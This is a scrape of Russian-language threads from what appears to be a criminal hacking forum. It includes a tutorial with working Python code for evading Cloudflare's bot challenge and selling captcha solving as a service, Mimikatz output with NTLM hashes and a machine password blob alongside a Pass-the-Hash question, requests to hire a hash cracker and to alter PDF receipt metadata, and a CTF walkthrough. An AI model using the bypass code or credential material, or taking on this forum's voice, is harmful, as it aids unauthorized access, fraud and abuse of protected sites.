8fb536d5ad54561acfc28eebc9c57303c51f10675091d2ab33d468fc97aafe74
52ca5220d3689fa9a9479cb677740058b5987f8da7c43adffe9a4bbe69362f41
62dd06345ebfafc516665bad1a1001ebab5d70dff9d40644db02b4e05cf754a9
767cd7cbf03d6dea7cf3ab31cb384e9623ec84c75f4c6b8a595652aa208fd6c1
a7c07e44fc2076d8e0afa397c9cc032e5ede4c72f1d317bd1ce6bc036af84d24
0464b406e4e5456e33269aa166fa45c9ae60a705c2c3edce07702557df2bc239
e9a0262f56e7f983c940b1bc7d037012f51e85a42ee031efb781b103ca51389a
0838931f90ae0639ee3177fafbca7092df9c6606672af62d267ff2cc56edb17f
91bb8d025cab2a12b34813a45b92b854cbe3ea339e4f87d380d57a5a87369ed4
9291483ef5fe70d0fe81cc7cac250adf4a95ee1ad55ed706a05714dec367fbad
6a70f67d170bb5aa5f2a099da6e033a61304998cdea719baf3637c666056b121
6fe788673786af7095e76d428bba1a7125d09559498f0ae2b331bbc45fc32d09
4df6b02b11678640a31928fb970a9d1333ee8b0e04724d58128584804df6e7ea
81f4dd4209099bb017214ec6b78802161eb33f499e42b9c55c9617948e669f40
f7036226da6d790b67293ede60ecefffbf630e7d8e35fd95b3abf1fd4334011f
cc82c46c88508724f2da58f6bb8ebda5ee673488b6a09f1659749521809edeb7
d8865f1683d473a2326e77e008bd0f098dc27a8488a55981a65020116eb41dd8
d2793e6694675bb8afb27428234f228a300149caa6c3763c20824f96deb8bec6
df2c6f6a0c92af2135399979d4f4c868527200ccebd335ae88030fa6288373e2
515e8e6f5bf1809c8d717cffe89e8bfe3c2f638291281f12d72853aedb27e941
24ed3e1068b1821ca5fa62bdcc9f7571d14020744a01543c27c3b031ac6e3505
e9dc80a1b36d49419b368eafffab6d39f9bbaff730dbf6d82e5cd8eb9bda6e4b
88b2a0665670a6b867ca8158d8c31e0d99489bca74589704fc1d41214bdfc0da
c7bb7b0ade81291fe0fd8c5a6080caf5c7961b591c4589b8932d2e9c0db1a934
6e103b43197be5e10778cb42dc96a3f2d58eb58b5c4e89c0c8581a4782ffff79
fbb6a81fb74848c99f5bead42a75c6499f396c60bb4c512bf279efc462211451
4b0e88ee998d0bc2764fddbfacea620b7050c85bdc957239278b7e98c37f1ab8
410193c42e39bb440a3540b1726a2aa220db7832361b045a0144c6e405bb31bd
347dcec36e4eee4e4a4bd6538d8372a40ee7898070ae22d09b3fae6e9b5018b1
f60112ae507352a74f5d1af62cfd23a91cb5b1573c95c8f5069b71d3a08b6e09
771d62774daa5917ddc3da2111c33f1c21772f4eb458ff03929f5a01f73ec8a8
1229483d2e923228117088311f25a142b901222ed18608e001bee9c653e4e9b3
4f6a2672e38ee6fc20a98d8fb7c8d2a4ffa58b70a61f3ebf9c3287f32c2345c9
f2f5bcda5773e491752e3e679980b85dac500d3411f45ff6abbf716118c1e795
aec6b09771165b3c01bfd5416b756f2b71bb3af0d8759c603bb3735a423c4559

Нужен человек для взлома хешей
ID: 676536fbb4103b69df373762
Thread ID: 103510
Created: 2023-12-04T21:33:33+0000
Last Post: 2024-01-07T16:11:04+0000
Author: Venna
Replies: 1 Views: 550

На постоянке нужен ТС для взлома хеша, с контактами и ценой в пм

[PART-0] CSAAS модель. Cloudflare Challenge. Способ его решения.
ID: 676536fbb4103b69df37373c
Thread ID: 123462
Created: 2024-09-25T08:11:03+0000
Last Post: 2024-09-25T08:11:03+0000
Author: chiefchain
Prefix: Статья
Replies: 0 Views: 540

Spoiler: soundtrack

__https://soundcloud.com/queen-69312%2Fsets%2Fgreatest- hits-239

Написано - chiefchain
Для - XSS

1. Введение
1.1 О чём эта будущая трилогия статей?
Ответ один и единственный, будем с вами разбираться со множеством капч, и тем как они работают, будем искать подходы для каждой. Первую статью решил разместить в криптографии (мне кажется, что это более подходящий вариант нежели другие). Много капч работает на криптографии, другие же отслеживают, то как ты дергаешь мышкой, другим просто нужно ввести текст с картинки, а кто-то совмещает это всё вместе. И нельзя сказать точно, где можно будет их размещать. Мы не остановися только на одном Cloudflare, но начал я с него, ибо множество людей, разработчиков сталкиваются с проблемами когда он есть, а так же, первая статья же должна быть взрывной, не так ли? В завершении этих статей, хочется создать множество авторешений под капчи, а возможно и напишем какой-нибудь сайтик, так скажем создадим свой CSAAS.
1.2 Чё это за CSAAS?!! Я впервые такое слышу.
На самом деле с приставкой "AAS" можно придумать уже всё что угодно, начиная от RATAAS и заканчивая HAAS (hoe-as-a-service), в последнее время на сторонних форумах это уж слишком популяризировалось, по этому, тут все началось как снежный комок, который собирает все что можно сократить под "Хайповую" аббревиатуру. CSAAS - Captcha Solver As A Service, впринципе на этом этапе уже всё ясно, сервис, который решает нам наши капчи. Цена на капчи у каждого сервиса своя, непонятно как они на самом деле оцениваются и т.д., я не экономист, мне не понять. Так же у одного сервиса я заметил странную вещицу, что они предлагают работу с доходом "$0.50 for 1-2 hours, depending on service load", из разрядa, мы тебе даем капчу, ты решаешь ее клиенту за копейки, а мы овепрайсим ее решенную клиенту. Раз сегодня мы разберем Cloudflare challenge, надо сравнить цены на рынке (надо же понять, какую выгоду мы извлекем из этой статьи)
- Capsolver - 1.2$/1000 запросов
- 2captcha - 1$/1000 запросов
- Capmonster - 1.3$/1000 запросов

Вроде очень даже неплохо, но на рынке куча сервисов, и по этому даже если мы сделаем с вами конфетку, решающую все капчи мира, то скорее всего мы упремся в сранный маркетинг, сео и дизайн, ибо создалось ощущение, что на рынке ценят именно это, всем нужно, чтоб было популярно-дешево-красиво-удобно, это сугубо моё мнение, не воспринимайте это как утверждение, работающее абсолютно везде и всегда.
2. Cloudflare.
2.1 Cloudflare - рак 21 века в интернете.
Cloudflare (сокращенно буду называть "CF") - вкратце, компания, которая проксирует ваши сайты, защищая их от DDOS-атак и тому подобное, СDN-сервис. Громкое название для подпункта, но мне остается только подтвердить своё мнение аргументами, давайте начнём с того, что вся ваша безопасность при использовании сайтов с CF равняется нулю, как я подметил ранее, он проксирует сайт, следовательно, эта корпорация-гигант просто работает в режиме MITM, а теперь давайте представим, что как нибудь в скором времени CF-поляжет от атаки и сольется всё, что только можно, все ваши запросы, абсолютно всё. Прикольно, классно? Это один из первых, и главных отвалов бошки по безопасности. Насколько большой рынок захватила эта компания, даже тяжело представить. Вернемся немного в прошлое и глянем, как настал момент X в нашем веке. Раньше о защите своих сайтов от DDOS-атак, размеренной нагрузки большинство компаний могли лишь мечтать, ибо все просили "огого" какие деньги, но тут приходит наш "альтруист" под названием Cloudflare, говорит: "Ребята! Теперь это всё бесплатно, берите, забирайте сколько можете". Представьте, в каком шоке все были, теперь за бесплатно, а раньше за миллиарды денег. Немного статистики - все CF держит >27 миллионов сайтов, 1.7 миллионов из них это USA, среди всех сайтов с CDN - 76% проксируется через CF. Неплохо, а даже много можно сказать.. Как работают эти защиты, у меня даже слов нет. Вновь представьте, вы обыкновенный клерк, который сидит в корпоративной сети, а вам по работе нужен какой-то сайт. Вы переходите и перед вами эта злостная картина. 1727247825182.png

Так эта машина, еще и отказывается вам верить, что вы человек! Объяснение тут достаточное легкое, раз вы сидите в корпоративной сети, то вероятнее всего CF сказал: "Вы все боты, вы кучу раз пытаетесь зайти! Я вам не поверю, никогда и ни за что, проваливайте". На этом моменте, можно уже сделать заметку для нашего будущей решалки, что прокси, должны быть чистенькие.
2.2 Разработчики бегут в ужасе от CF*
Звёздочка обозначает, что это сугубо мое мнение, сформировавшееся на моём опыте. На рынке разработке ПО, куча всякого бреда, множество разработчиков отказываются браться за сайты с CF, множество заказчиков не понимает, что из себя представляет CF, что им придется потратиться на хорошие прокси, так же на сервисы для решения этого самого CF. И этого реально куча, просто тысячи. Пару выдержек.
1. Что вам нужно написать полное ТЗ: Нужен человек, который разбирается в чекерах для Valorant. Нужно сделать обход Cloudflare. ( https://authenticate.riotgames.com/api/v1/login )
2. На каком языке программирования вам нужно это сделать: Python
3. Какие сроки на выполнение: 1 Day
4. Сколько готовы заплатить за работу: 30-50 $

1727251559673.png

2.3 Cloudflare Challenge.
Окей, пора плыть к сути, что это такое и зачем оно вообще есть. на чем оно концентрируется и так далее. Увидеть, что это вы можете на предыдущей картинке, вы со 100% вероятностью, конечно сталкивались с этим, бесспорно. Действует их эта защита по принципу IUAM (I'm Under Attack Mode), в основе это было сделано конечно против DDOS-атак. Но при написании этого проекта, я преследовал другую цель, которые могут помочь в таких ПО как скраперы, валидаторы и т.д.. Это выглядит так, что вы просто ждёте пока страница прогрузится, а это так называемая прокладка просто, на которой проводится множество тестов за счёт JS-скриптов. Я не гуру, и обойти CF на запросах, у меня к сожалению пока не вышло, но в следующем пункте статьи, мы разберем решение, которое работает в пределах ~5 секунд. Для начало разберем эти браузеры, защиты, что они делают и зачем.
2.4 Как работает эта защита, чему она отдает предпочтение?
Окей, начнем с понятия webdriver, и почему оно нам интересно. Webdriver - это инструмент, который помогает в куче сфер автоматизировать тесты, и прочие штуки. Понимаем, что CF это ни в коем случае не понравится, как можно понять webdriver у вас аля нет? Всё достаточно просто. Откройте консоль в браузере и введите "navigator.webdriver"1727248587147.png

В браузере которым вы пользуетесь, точно не будет true, но понимаем этот момент, а так же понимаем, что CF точно не будет так глупо это проверять, а по другим микроэлементам, по которым можно сделать соответствие, что это вебдрайвер(эмуляция). Так-же напоминаю из пункта 2.1 нам требуется чистота прокси, не прям идеальные конечно, но они тоже потребуются нам. Стоит помнить и про TLS-fingerprint, они реализуются в случае запросах через библиотеку curl-cffi, именно она может вам помочь, банальные библиотеки requests и т.д., вам уже не подойдут. Но как я говорил ранее, решение всё же будет на эмуляции, где это уже и так будет встроенно. Так-же стоит помнить про такую технику как Opengl + Canvas, которая прям в браузере позволяет нам отрисовать условный 3D-куб, который будет крутиться, такие проверки тоже присутствуют в Cloudflare, по этому мы ограничены в том, чтоб использовать --headless режим.

Подведем маленькие выводы, что нам следует соблюдать:
- Использовать браузер, который не будет детектиться как webdriver
- Браузер должен поддерживать OpenGl + Canvas
- Нельзя использовать --headless режим
- TLS-фингерпринты важны
- Чистые прокси (желательно)

3. Максимально нативная решалка. Заключение.
3.1 Максимально нативная решалка.
В качестве браузера, который не будет детектиться как webdriver используем уже проверенную штуку как undetected- browser этому репозиторию уже куча лет, но он по каким-то непонятным причинам, до сих пор не детектится, насчёт чистых прокси, я не стану с этим эксперементировать, в любом случае, подвязать прокси под конец в готовый скрипт, я думаю у каждого с минимальными знаниями получится. Попробуем сделать максимально по тупому, просто перейти на страницу, чуть подождать и получить куки.

Python:Copy to clipboard

import undetected_chromedriver as uc
from selenium.webdriver.common.by import By
import time

options = uc.ChromeOptions()
driver = uc.Chrome(options=options)

try:
    driver.get(f"https://notletters.com")
    time.sleep(116)
    cookies = driver.get_cookies()
    for cookie in cookies:
        print(cookie)
finally:
    driver.quit()

1727249994242.png

Скажу сразу, ничего не вышло, абсолютно ничего, все 116 секунд оно просто крутилось, хотя мы же вроде соблюдали все правила, но ничего не вышло. Очень грустно, но наш первая попытка сделать MVP развалилась в пух и прах. Решение уже было найдено, я честно, не знаю как оно до меня дошло, но оно достаточно банальное и примитивное, суть его заключается в том, чтоб не делать целевой страницу где находится эта защита UIAM. То есть, мы для начала создаем html- файл, в котором хранится наша ссылка на сайт с защитой, после чего переходим по ней, НО, очень важное НО, ни в коем случае не переключаемся на эту вкладку через возможности драйвера, иначе мы всё запоганим, да у этого метода есть свои минусы, такие как скорость, невозможность получить результат мгновенно и т.д., но наша цель сделать MVP-решалку, которая будет жить, работать, и мы с помощью неё сможем получить нужный нам результат.

Python:Copy to clipboard

import undetected_chromedriver as uc
from selenium.webdriver.common.by import By
import time
import os

file_path = os.path.abspath("test.html")
options = uc.ChromeOptions()
driver = uc.Chrome(options=options)

try:
    driver.get(f"file:///{file_path}")
    link = driver.find_element(By.ID, "link")
    link.click()
    time.sleep(7)
    driver.switch_to.window(driver.window_handles[1])
    cookies = driver.get_cookies()
    for cookie in cookies:
        print(cookie)

finally:
    driver.quit()

HTML:Copy to clipboard

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
    <a href="https://notletters.com/" id="link" target="_blank">go</a>
</body>
</html>

Немного объяснений, в html мы обязательно используем target="_blank", чтоб создавалась именно новая вкладка. Ограничение в 7-секунд поставлено самостоятельно на основе данных из статьи самих CF, и тестов.
3.2 Заключение.
Решалка у нас вышла, да тупая, да нативная, но решающая исправно и работающая. В результате работы скрипта, мы имеем решалку этой капчи.
1727250824625.png
И вывод всех куков с целевого сайта:

Code:Copy to clipboard

{'domain': '.notletters.com', 'expiry': 1758786809, 'httpOnly': True, 'name': 'cf_clearance', 'path': '/', 'sameSite': 'None', 'secure': True, 'value': 'xLTX06ypCvGJHq4OTDi3ntnYo0S6tBO9XQU7prk74FU-1727250802-1.2.1.1-PHS18HVrngZAdwWIgrPXWO1Riwuc1XvB99HBbZvRWpORztIyaGPbGlVYNndnDUGWrGIdwV87NclUdkfq4pVgQm3_eFYz2KSqBisKOe6jmz1XP4B5cvrFhlbWs6Rj.t.VaoJW6T.7eavG98SWZG62tKJ1dJ65R5fVHB8NbhDabmFdzRLCP2HxMJ72a0st4tjFAx3J3xBydUm75UdH60Bfcf97TOF5GgtWJSYZ5xJbUj_KtzI3f6j9pMyeJfc_A1fk8KIAi.X.2_I4aavz9ovKYK0MH4fXU02KjKrwQeAA3X4hmXeKZd5kcRShJrESmPSPecsRLVi5nMdo27PJEqC6CoCrU7kboAK.HGZKNH_E3gHxsoIZr6Mlt.47PTZjtjeBIucw17lCLzCvs_3aF5MWBDyg4TJvdnoQSvxkaDekRhU'}

Мы получили, что в среднем мы получаем нужный кук, с помощью которого потом можно ползать по сайту через запросы за примерно ~7-8 секунд, давайте посмотрим, сколько секунд нам предлагают уже готовые сайты

1727251689576.png
И на втором сайте к сожалению не было указано
1727251755560.png
Я считаю, что достаточно неплохое время для решения этой защиты, так еще и за абсолютно бесплатно если вы собрались использовать его для себя, только с расходами на прокси(что так и так пригодилось бы)

Так-же стоит подметить, что в случае если вы будете использовать этот кук с user-agent, который не совпадает с тем, который был использован при решении, вы получите ровным счётом ничего, СF вас отбросит.

Python:Copy to clipboard

from curl_cffi import requests

cookies = {
    'cf_clearance': 'F5O4DSMh6OgREvS0wpQ1r69bByIKb.JVps.yCxRrO54-1726817174-1.2.1.1-SK12HabVngVW_DAG4vtZJN9PenblUVOgG8AbrpABO5kOt4VSIQGhon5KbREWf_RjNNeK_nfxQH3oxg21wMeayFhaSmMcakMk6iwrXbOtiatLx8GiHcNk0GNCvcMBbDpIJjKgaQ0YSG4.GVLTlvoZ3L5.Ozh9psyhDX0xWTtOakLP0zNtb.BcrtYrTBptRlWna8aBR4hP5_ikA0v6gXOZnbFdiFeggQJri11asFyU5WUdDLvaabLev8Et86ZLsWT1yaR5VgjSo4.rgSkPgbdqNfRM9U1rruxS2dWorhNt30Y2ElbH0Yq5j4HG2eAga.hbGCT5GIwX.3UoVvD1sn1w6eDD5AGaF1mPcYBLswVOuYol2jKi5k4LRq1otsrvNaXP.WpwweH.Z97QlEATlqSLl5GNkl2cz5uSV3H8tUEZgko'
    }

response = requests.get('https://notletters.com', cookies=cookies, impersonate = 'safari_ios')
print(response.text)

То есть, такой скрипт не сработает, нужно еще установить соответствующий 'User-Agent'.

Как из этого организовать свой сервис по решалке CF?
- Всё банально просто, докрутите к скрипту использование прокси, которые будет засылать клиент, так же добавьте возврат кукисов клиенту и хедеров, используемых при решении.
- Сделайте API для своего сервиса, подкрутите БД.

И в путь.

На этом можно закончить, у нас есть MVP, который работает и всё прекрасно. Если вам, что либо не понравилось, пишите об этом. В следующий раз, будем разбирать решалку IMG2TXT, конкретно, напишем свою CNN-модель.

CTF - что это такое и с чем это едят? Разбор множества заданий.
ID: 676536fbb4103b69df373764
Thread ID: 104778
Created: 2023-12-28T14:06:55+0000
Last Post: 2023-12-29T08:47:17+0000
Author: germans
Prefix: Статья
Replies: 2 Views: 532

Авторство: germans

Источник: xss.is​

Приветствую всех в этой статье! Давайте начнем с того, чтобы разобраться, что такое CTF.

CTF - это обычный турнир по информационной безопасности, что расшифровывается как Capture the Flag. Существует две основные ситуации: воровать флаги у организаторов или у других команд. Лично я участвовал только в первом типе, но второй также звучит достаточно интересно (в видео по ссылке представлен CTF между двумя командами).

Почему стоит участвовать в CTF?

- Эмоции и еще раз эмоции: не стоит забывать и про них, ведь на вся жизнь на деньгах, то стоит..- Эмоции в команде очень сближают, происходит полный так называемый брейншторм, когда вы решаете какую либо таску. Можете представить себе духи, содержащие адреналин, радость, и грусть, примерно так все это выглядит.

- Репутация и некий авторитет: успех на CTF однозначно добавит вашей команде парочку баллов в сообществах. Это спокойно может раскрыть перед тобой двери к новым оферам и предложениям.

- Знания: не стоит думать, что на CTF все грызут глотку друг другу за баллы и так далее, не так все это! Смело могу заявить это, что если нормально описать вашу проблему, то наврятле вам скажут, мол гуляй! Если это конечно не запрещено правилами, а зачастую запрещено давать только флаги, а подсказки никто не отменял.

- Призовые, деньги: деньги тоже есть здесь, не сказать, что они огромные или еще что-то, тут борьба не за деньги и не за призовой, а за авторитет!

Как можно поучаствовать в CTF?
- Не буду я тут сильно разглагольствоваться, заходите на сайт, и наслаждаетесь огромным выбором предстоящих CTF, так же там сразу пишут и про призовые.

Какие бывают категории задач на CTF?

- Предысловие: их на самом деле куча, составители могут придумать кучу всякого разного, но мы прокатимся по основным.

1. Web - впринципе все и так становится понятным, лазаем по сайтам, ищем дырки в коде, sql-инъекции, кросс-сайтовые скрипты, это все.

2. Crypto - дешифруем, вскрываем коды.

3. Forensics - можно представить, что ты криминалист по ИБ, которому надо анализировать файлы, и искать следы.

4. Reverse - ломаем защиты софта, анализируем программы, пытаемся понять как устроены внутренности.

5. Stegano - ищем флаг среди любых файлов, начиная от всяких треков, заканчивая картинками.

6. OSINT - разведка по сети интернет, ничего более, и сложного.

7. CTB - задачи связанные с блокчейном, смарт-контрактами.

Основную теорию считаю, что рассказал, если у вас будут вопросы, пишите - c удовольствием отвечу, пора переходить к практике.

Прокатимся с вами по всем перечисленным сверху со временем категориям, и начнем пожалуй в разнобой.

OSINT - задачи:

Прокатимся сперва по не особо сложной ситуации, пускай нам будет выдан лишь данный текстовый документ, и задано, что нужно найти хацкера.

pastebin.com

[ 42.159.217.45 - - [15/Mar/2023:21:09:59 +0300] "POST

explore/tag/category HTTP/1 - Pastebin.com ](https://pastebin.com/iv8UNUu2)

Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.

pastebin.com pastebin.com

Открыв или скачав файл, мы наблюдаем такую картину, что это access.log какого то сайта, но от этого нам не худо и не бедно не станет.
Снимок экрана 2023-12-28 в 18.05.20.png
Наврятле можно сделать какую либо атаку GET-запросом, по этому сразу же отметаем их таким скриптом на Python

Code:Copy to clipboard

def remove_get_requests(file_path):
    with open(file_path, 'r') as file:
        lines = file.readlines()

    filtered_lines = [line for line in lines if "GET" not in line]

    with open(file_path, 'w') as file:
        file.writelines(filtered_lines)

file_path = 'ctf_log.txt'
remove_get_requests(file_path)

Нельзя сказать, что это нам сильно помогло, но мы сократили кол-во строк до 558.
Снимок экрана 2023-12-28 в 18.08.37.png

Дальше, прогоним наш оставшийся файл логов python скриптом со словарем слов

Code:Copy to clipboard

def check_for_malicious_activity(file_path):
    malicious_keywords = ["malware", "shell", "exploit", "backdoor", "trojan", "virus"]

    with open(file_path, 'r') as file:
        for line_number, line in enumerate(file, start=1):
            if any(keyword in line.lower() for keyword in malicious_keywords):
                print(f"{line_number}: {line.strip()}")

file_path = 'ctf_log.txt'
check_for_malicious_activity(file_path)

Бамц, что мы видим? Подгрузку шелла, где нашего хацкера заредиректило и некая ссылка.

Снимок экрана 2023-12-28 в 18.14.45.png

Открываем нашу ссылочку, и что мы наблюдаем на ней.

Снимок экрана 2023-12-28 в 18.16.21.png

Нас посылают куда подальше, и заявляют, что мы зашли слишком далеко. Видим некий криптокошелек в сети эфира, попробуем вбить его в etherscan.

Снимок экрана 2023-12-28 в 18.18.43.png
Ненужный нам мусор, абсолютно.. Видимо мы забрели абсолютно не туда, не в то русло. Не стоит забывать, что наша задачка на OSINT. Стоит попробовать в другом месте, давайте попробуем забить наш кошелек в нижнем регистре на namechk[dot].com : 0x852d15f44ae5e20202047669a02c86a2f951144b95 ; это проверит кошелек на наличие каких либо соц сетей по юзернеймуСнимок экрана 2023-12-28 в 18.39.04.png

Бамц, и у нас находится soundcloud с таким именем, где на аватарке мы и видим наш флаг, который успешно забираем и ложим баллы себе в кармашек.
Снимок экрана 2023-12-28 в 18.39.47.png

Разобрали немножечко, на одном примере osint. Плывем к следующей категории задач, а именно Crypto.
Эта задача будет своеобразной шуткой в некой доле. Назовем ее "Исключающее или", и у нас будет следующая задача, дешифровать вот это дело, но при этом в условии будет сказано, что ключ - это рандомное число из диапазона возможных чисел в IP-адресе.

Итак, у есть шифрованная строка.

Spoiler: дешифровать

['0x40d', '0x468', '0x414', '0xa', '0x419', '0x414', '0x418', '0x414', '0x46a', '0x412', '0x468', '0xa', '0x417', '0x469', '0x411', '0x466', '0xa', '0x410', '0xa', '0x414', '0x41e', '0x417', '0x414', '0x416', '0x469', '0x6', '0xa', '0x410', '0x414', '0x419', '0x41e', '0x41a', '0xa', '0x414', '0x417', '0x412', '0xa', '0x418', '0x46b', '0x468', '0x46a', '0x41f', '0x46d', '0x41a', '0x464', '0x468', '0x46b', '0x465', '0xa', '0x418', '0xa', '0x41b', '0x41a', '0x46a', '0x41f', '0x6', '0xa', '0x412', '0xa', '0x410', '0x41a', '0x410', '0x412', '0x416', '0xa', '0x414', '0x41b', '0x46a', '0x41a', '0x41d', '0x414', '0x416', '0xa', '0x414', '0x417', '0x412', '0xa', '0x414', '0x41b', '0x416', '0x41f', '0x417', '0x412', '0x418', '0x41a', '0x464', '0x468', '0x46b', '0x465', '0xa', '0x46b', '0x41f', '0x410', '0x46a', '0x41f', '0x468', '0x41a', '0x416', '0x412', '0x15', '0xa', '0x52', '0x59', '0x59', '0x75', '0x45', '0x58', '0x75', '0x52', '0x45', '0x58', '0x75', '0x43', '0x59', '0x75', '0x4c', '0x5f', '0x44', '0x44', '0x53']

Теперь давайте преобразуем каждое из этих значений из шестнадцатеричной системы счисления в десятичную. Затем применим операцию исключающего ИЛИ (XOR) между каждым числом и ключом (рандомное число из диапазона возможных чисел в IP-адресе).

Python:Copy to clipboard

encrypted_values = ['0x40d', '0x468', '0x414', '0xa', '0x419', '0x414', '0x418', '0x414', '0x46a', '0x412', '0x468', '0xa', '0x417', '0x469', '0x411', '0x466', '0xa', '0x410', '0xa', '0x414', '0x41e', '0x417', '0x414', '0x416', '0x469', '0x6', '0xa', '0x410', '0x414', '0x419', '0x41e', '0x41a', '0xa', '0x414', '0x417', '0x412', '0xa', '0x418', '0x46b', '0x468', '0x46a', '0x41f', '0x46d', '0x41a', '0x464', '0x468', '0x46b', '0x465', '0xa', '0x418', '0xa', '0x41b', '0x41a', '0x46a', '0x41f', '0x6', '0xa', '0x412', '0xa', '0x410', '0x41a', '0x410', '0x412', '0x416', '0xa', '0x414', '0x41b', '0x46a', '0x41a', '0x41d', '0x414', '0x416', '0xa', '0x414', '0x417', '0x412', '0xa', '0x414', '0x41b', '0x416', '0x41e', '0x417', '0x412', '0x418', '0x41a', '0x464', '0x468', '0x46b', '0x465', '0xa', '0x46b', '0x41f', '0x410', '0x46a', '0x41f', '0x468', '0x41a', '0x416', '0x412', '0x15', '0xa', '0x52', '0x59', '0x59', '0x75', '0x45', '0x58', '0x75', '0x52', '0x45', '0x58', '0x75', '0x43', '0x59', '0x75', '0x4c', '0x5f', '0x44', '0x44', '0x53']
decrypted_values = [int(value, 16) for value in encrypted_values]
possible_keys = range(256)
for key in possible_keys:
    decrypted_result = [char ^ key for char in decrypted_values]
    print(f"дешифр: {''.join(map(chr, decrypted_result))}")

Запускам наш код и, что мы видим.

Снимок экрана 2023-12-28 в 19.01.09.png

Кучу мусора, и нашу желаемую строку с 42 ключем. Флаг у нас xss_or_xor_is_funny

Если у вас есть какие либо вопросы задавайте. Разбирать будем дальше, так же есть интересная затея реализовать CTF среди XSS в индивидуальном зачете, если вам это интересно, прошу тоже уведомить!

Veracrypt не даёт зашифровать весь диск, что делать?
ID: 676536fbb4103b69df37373e
Thread ID: 122992
Created: 2024-09-18T18:56:48+0000
Last Post: 2024-09-18T19:43:34+0000
Author: Vulgar
Replies: 2 Views: 531

Решил использовать для шифрования своего ssd m2 диска вера крипт, при попытке зашифровать весь диск не даёт нажать на круглешок. Искал в интернете способы решения, всё четно. Отключил все диски, кроме основного который я хочу зашифровать, так же снёс винду. Может быть кто-то сталкивался с таким? Либо посоветуйте альтернативу вера крипту, желательно с открытым исходным кодом.

Скриншот

https://imgur.com/a/MqVCWVW

( извиняюсь за фото с телефона )

Редактирование метаданных PDF для чеков
ID: 676536fbb4103b69df373720
Thread ID: 126974
Created: 2024-11-15T13:58:22+0000
Last Post: 2024-12-05T21:09:12+0000
Author: salfetka_200
Replies: 4 Views: 519

Приветствую, может кто может подсказать программы для редактирования метаданных в PDF чеках? Пробовал exiftool, не хватило навыков разобраться. Если кто-то занимается подобным, хотел бы связаться для сотрудничества
TG: @bmwteam02

Что за хэши?
ID: 676536fbb4103b69df373801
Thread ID: 67019
Created: 2022-05-14T20:58:23+0000
Last Post: 2022-08-04T17:02:02+0000
Author: qwertyasdzxc1
Replies: 11 Views: 519

Определяются как мд5, но это не они, из 1к хэшей, 0 расшифровано.

e1eede330799840def5b562d42e2c245
7c71e718ff6926cb23cbd6575a100df9
2cd66b98cc9df29dd64977e0245fe8e7
78acedf07b5c7fa8e3ed25cde7c2f3e5
ee14631fd143710615337a31aa205a4e
42ba94940b4da5dc3f195713e948cc0c
579a5cc9b88a66c7e0431618fee88cd6
99ef2830e8f179791168eb4f82ef6e04
c7ce68ba984b15a644d0aa52a2b0a8f0
010091550e7e275eab5da414cf58a330
c3fec1b55be6a9bb2ee6462395b988af
1855990b23e9bd034e293514ca9c944d
06d16db7dc245294fd4bae180e535901
4bfa565dd50ea8d77f4fe78a536034ae
f0146956f1dcf0847eb6263b59f5f49d
4ce7b224df0af95c0e21467a77012039

Хеш компьютера
ID: 676536fbb4103b69df373735
Thread ID: 124801
Created: 2024-10-14T14:54:19+0000
Last Post: 2024-10-14T15:50:08+0000
Author: Кот Ученый
Replies: 10 Views: 515

Что делать с хешами устройства?
Хеш юзера, например: Pass the Hash, расшифровать и подключится и т.д, тут понятно
а как релизовать хеши устройства (Машинный) не понятно, поискал информацию, ничего не нашел, единственное что нашел, это если расшифруется, может повезти и пароль может совпадать с паролем какого либо администратора
примеры таких хешей:
с мима

Spoiler: Mimikatz

User Name : DC1PROVISIONAL$
Domain :
Logon Server : (null)
Logon Time : 07/07/2024 9:58:07
SID : S-1-5-20
msv :
[00000003] Primary

  • Username : DC1PROVISIONAL$
  • Domain :
  • NTLM : c169f89f9dc4c9512b8818bd7ebd4607
  • SHA1 : 3c7b1e76ccbc73df3aa357d6f38634c72bb462b6
    tspkg :
    wdigest :
  • Username : DC1PROVISIONAL$
  • Domain :
  • Password : f4 3b c9 8e ff 36 64 44 ac fc 45 65 18 6d a0 60 91 d7 4c a2 54 af d4 44 5b 93 53 cb 3e a4 e8 63 38 d1 43 0d c9 1b 59 d3 39 1b 84 44 6e f7 fa 5d b8 21 97 97 f5 0f 0e 8f 05 c6 e1 29 fe 49 93 81 72 5a 1d 95 4b a7 d9 22 6d f0 46 9e 11 2b 4c 39 c5 5a b0 44 26 36 f8 73 12 0e 0e fc 1c bc 8f 29 9b 68 82 34 f5 80 d9 8a 25 12 e2 2a 63 80 b4 42 45 b5 ad 56 86 c7 24 9b e6 36 57 57 05 ae 67 2d 17 d9 a0 cf ab 69 90 e2 49 cd 65 97 21 41 16 aa 39 78 af c0 38 10 b7 7b b7 ca 16 4f 52 c1 49 b4 32 da cd 5f b7 46 df dc b8 be 44 bd c9 57 a5 dc 2d 2a 23 c4 c2 44 24 63 75 17 b6 0a d0 d0 59 a9 6f a9 4f 79 28 b8 72 e4 96 ed f1 c4 61 99 51 94 f2 d0 e8 4e 6f f2 87 14 6d 53 9f a4 f5 33 ae ed 92 1c c2 67 66 2b 53 7e a6 dc df 2d fb 38 2c 83
    kerberos :
  • Username : dc1provisional$
  • Domain :
  • Password : f4 3b c9 8e ff 36 64 44 ac fc 45 65 18 6d a0 60 91 d7 4c a2 54 af d4 44 5b 93 53 cb 3e a4 e8 63 38 d1 43 0d c9 1b 59 d3 39 1b 84 44 6e f7 fa 5d b8 21 97 97 f5 0f 0e 8f 05 c6 e1 29 fe 49 93 81 72 5a 1d 95 4b a7 d9 22 6d f0 46 9e 11 2b 4c 39 c5 5a b0 44 26 36 f8 73 12 0e 0e fc 1c bc 8f 29 9b 68 82 34 f5 80 d9 8a 25 12 e2 2a 63 80 b4 42 45 b5 ad 56 86 c7 24 9b e6 36 57 57 05 ae 67 2d 17 d9 a0 cf ab 69 90 e2 49 cd 65 97 21 41 16 aa 39 78 af c0 38 10 b7 7b b7 ca 16 4f 52 c1 49 b4 32 da cd 5f b7 46 df dc b8 be 44 bd c9 57 a5 dc 2d 2a 23 c4 c2 44 24 63 75 17 b6 0a d0 d0 59 a9 6f a9 4f 79 28 b8 72 e4 96 ed f1 c4 61 99 51 94 f2 d0 e8 4e 6f f2 87 14 6d 53 9f a4 f5 33 ae ed 92 1c c2 67 66 2b 53 7e a6 dc df 2d fb 38 2c 83

или же с снятыми юзерами снимаются и хеши тачек

Spoiler: Ntlm Hash

DCBRIDGE$:2143:aad3b435b51404eeaad3b435b51404ee:85beb2fc449f12c9bbfb63a03a820e42:::

или NTLMv2-SSP

